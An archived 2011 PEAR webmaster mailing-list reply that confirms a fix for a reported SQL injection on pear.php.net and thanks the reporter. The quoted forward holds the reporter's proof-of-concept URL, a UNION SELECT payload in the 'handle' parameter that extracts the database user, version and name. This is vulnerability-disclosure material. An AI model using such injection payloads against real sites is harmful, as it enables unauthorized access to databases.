Re: [pear-webmaster] Fwd: sql injection on pecl.php.net
| From: | Daniel O'Connor | Date: | Mon, 27 Jun 2011 10:36:05 +0000 |
| Subject: | Re: [pear-webmaster] Fwd: sql injection on pecl.php.net | ||
| References: | 1 2 3 4 5 | Groups: | php.pear.webmaster |
| Request: | Send a blank email to pear-webmaster+get-6892@lists.php.net to get a copy of this message | ||
Hannes - Fixed in SVN.
Reporter - Thanks for reporting this one! It's really quite helpful to know
when we've dropped the ball. However, just for (my) peace of mind I don't
suppose there's any chance of encouraging you to do pen. testing on
test.pear.php.net?
That should be a safer environment to play around in, with less chance of
upsetting things if queries go haywire.
On Mon, Jun 27, 2011 at 4:48 PM, Hannes Magnusson <
hannes.magnusson@gmail.com> wrote:
> Can someone please look at it?
>
>
> ---------- Forwarded message ----------
> From: mail.xek.cc <br@xek.cc>
> Date: Mon, Jun 27, 2011 at 07:56
> Subject: Re: sql injection on pecl.php.net
> To: Hannes Magnusson <hannes.magnusson@gmail.com>
>
>
> hello. one more sql injection on yr domains :)
>
>
> Hª< *Ó+ˆì
> =iç{Ühttp://pear.php.net/pepr/pepr-vote-show.php?id=650&handle=saltybeagle%27+and+1=0+union+select+1,2,3,4,5,concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,7,8--+1
>
>
> --
> С уважением,
> mail.xek.cc mailto:br@xek.cc
>
> --
> PEAR Webmaster Mailing List (http://pear.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>